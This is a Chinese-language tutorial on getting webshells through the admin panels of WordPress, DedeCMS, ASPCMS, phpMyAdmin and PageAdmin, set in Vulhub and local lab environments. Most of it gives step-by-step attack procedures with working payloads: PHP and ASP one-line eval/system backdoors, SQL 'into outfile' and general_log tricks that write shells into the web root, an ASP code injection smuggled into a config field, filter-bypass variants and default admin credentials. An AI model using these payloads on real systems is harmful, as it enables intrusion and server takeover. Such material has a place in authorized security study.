常⻅CMS漏洞
⼀:WordPress
WordPress是⼀个以PHP和MySQL为平台的⾃由开源的博客软件和内容管理系统。WordPress具 有插件架构和模板系统。截⾄2018年4⽉,排名前1000万的⽹站中超过30.6%使⽤WordPress。 WordPress是最受欢迎的⽹站 内容管理系统。全球有⼤约30%的⽹站(7亿5000个)都是使⽤WordPress 架设⽹站的。WordPress是⽬前 因特⽹上最流⾏的博客系统。WordPress在最著名的⽹络发布阶段中脱 颖⽽出。如今,它被使⽤在超过7000万个站点上。
》》环境部署《《
进⼊Vulhub靶场并执⾏以下命令开启靶场
#执⾏命令
cd /vulhub/wordpress/pwnscriptum
docker-compose up -d
#靶场地址
http://192.168.4.176:8080/wp-admin/
》》漏洞复现《《
方法⼀:后台修改模板拿WebShell
步骤一:思路是修改其WP的模板写⼊⼀句话⽊⻢后⻔并访问其⽂件即可GetShell;登陆WP后点击 【外观】 --》 【编辑】 --》 404.php
<?php phpinfo();eval($_POST['cmd']);?>
方法⼆:上传主题拿WebShell
步骤一:首先点这里下载主题--->将木马程序拖到压缩包里
<?php @eval ($_POST[a]); ?>
步骤二:接着上⼀个环境使⽤...将带有后⻔的⽂件加⼊到主题中并将主题压缩为ZIP⽂件...点击 【外 观】 --》 【主题】 --》 【添加】 --》 【上传主题】 --》 【浏览】 --》 【现在安装】
如果这个安装包不行就在换一个。
步骤三:安装成功后访问主题下的⽹站后⻔⽂件
二、DeDeCMS
DedeCMS是织梦团队开发PHP ⽹站管理系统,它以简单、易⽤、⾼效为特⾊,组建出各种各样各 具特⾊的⽹站,如地⽅⻔户、⾏业⻔户、政府及企事业站点等。
》》》漏洞复现《《《
方法⼀:通过⽂件管理器上传WebShell
shell.php文件内容
<?php
phpinfo();
@eval ($_POST[cmd]);
?>
步骤一:登陆到后台点击 【核⼼】 --》 【⽂件式管理器】 --》 【⽂件上传】 将准备好的⼀句话代码上传...OK
方法二:修改模板⽂件拿WebShell
步骤⼀:与WPCMS类似,直接修改模板拿WebShell...点击 【模板】 --》 【默认模板管理】 - -》 【index.htm】 --> 【修改】 在⽂件修改中添加⼀句话代码...如下
步骤⼆:点击 【⽣成】 --》 【更新主⻚HTML】 --》将主⻚位置修改为 【.../index.php 】--》 点击 【⽣成静态】 --》点击 【更新主⻚】 再次访问站点⾸⻚可发现变化...
步骤三:访问页面--->用蚁剑连接shell
方法三:后台任意命令执⾏拿WebShel
步骤⼀:点击 【模块】 --》 【⼴告管理】 --》 【增加⼀个新⼴告】 --》在 【⼴告内容】 处添 加⼀句话代码--》点击 【确定】
步骤⼆:点击【代码】--》在图中显示的路径与站点进⾏拼接...访问测试!
方法四:SQL命令行执行拿WebShell
步骤一:系统---->SQL命令行工具
select "<?php phpinfo();@eval($_POST[cmd]);" into outfile "E:/phpstudy_pro/WWW/DedeCMS/uploads/shell4.php"
三、ASPCMS
ASPCMS是由上⾕⽹络开发的全新内核的开源企业建站系统,能够胜任企业多种建站需求,并且 ⽀持模版⾃定义、⽀持扩展插件等等,能够在短时间内完成 企业建站。
》》》漏洞复现《《《
方法⼀:后台修改配置⽂件拿Shell
步骤⼀:访问以下地址为ASPCMS...并登陆到后台(这⾥注意在搭建站点的时候注意权限问题)
#⽹站后台
http://192.168.30.134:81/admin_aspcms/login.asp //全功能版本
#账户密码
username:admin
password:123456
步骤⼆:点击 【扩展功能】 --》 【幻灯⽚设置】 --》点击 【保存】 --》开启代理进⾏抓包
步骤三:在抓取的数据包中修改 slideTextStatus 字段的值为以下代码并进⾏发包查看被修改的asp ⽂件内容...
#字段值
1%25><%25Eval(Request (chr(65)))%25><%25 密码是a
#影响⽂件
/config/AspCms_Config.asp
四、PhPMyadmin
》》环境部署《《
下载phpstudy的PhPMyadmin
登录PhPMyadmin
》》漏洞复现《《
方法⼀:通过⽇志⽂件拿Shell
利⽤mysql⽇志⽂件写shell,这个⽇志可以在mysql⾥改变它的存放位置,登录phpmyadmin可以修改 这个存放位置,并且可以修改它的后缀名。所以可以修改成php的后缀名就能获取⼀个webshell 。
SQL
show global variables like '%general%';
set global general_log='on'; #⽇志保存状态开启;
set global general_log_file = 'E:/phpstudy_pro/WWW/log.php' #修改⽇志的保存位置。
show global variables like '%general%';
select '<?php eval($_POST["admin"]);?>';
#bypass:
select+'<?php+phpinfo();+?>'
select+'<?php+//%0Aphpinfo();+?>'
修改日志保存位置后,查询后日志会保存在该文件
方法⼆:导⼊导出拿WebShell
思路:通过SQL语句拿webshell ⽤ into outfile 把后⻔写到⽹站⽬录上。
SQL
1.⾸先判断mysql位置
select @@datadir
路径:E:\phpstudy_pro\Extensions\MySQL5.7.26\data\
2.猜测web路径
猜测web路径:E:\phpstudy_pro\www
E:\phpstudy_pro\www\web.php
3.写webshell
select "<?php @eval($_POST[a]);?>" into outfile 'E:/phpstudy_pro/www/shell.php';
select "<?php system($_GET[a]);?>" into outfile 'E:/phpstudy_pro/www/d.php';
4.浏览器
http://192.168.2.8/d.php?a=dir ..\
select "<?php phpinfo();@eval($_POST[a]);?>" into outfile 'C:\phpStudy\WWW
\web.php';
备注:/
不要⽤\,如⾥要⽤\\(转义)
方式三:界⾯图像化GetShell
可在这修改日志存储地址,然后如同方法一一样:每次查询的语句都会显示在日志里
五、Pageadmin
PageAdmin CMS系统是基于.Net的⽹站管理系统,安全、稳定、灵活,全国⽤户超过百万,致⼒于为 企业、学校、政府⽹站建设和⽹站制作提供企业级内容管理系统解决⽅案。
漏洞复现
方法⼀:上传模块拿WebShell
在pageadmin后台可以上传模板,把webshell打包成zip上传模板,系统会⾃动解压,成功会 在后台存在后⻔,访问即可获取webshell 。
步骤⼀:访问 pageadmin 在后台可以上传模板,把webshell打包成zip上传模板,系统会⾃动解压, 成功会在后台存在后⻔,访问即可获取webshell 。 点击【应⽤】--》【 插件安装】--》【 上传文件】
这⾥因为不是授权版本,⽆法上传,如果有授权版本的话就可以成功上传,上传后系统会⾃动解压,直 接访问shell地址就可以了:/Templates/shell/shell.aspx
方法⼆:上传⽂件解压拿WebShell
步骤一:哥斯拉---->管理----->生成asp目录
生成为shell.asp
步骤二:点击【⼯具】--》 【⽂件管理】--》 【功能菜单】 --》【上传⽂件】--》 【解压】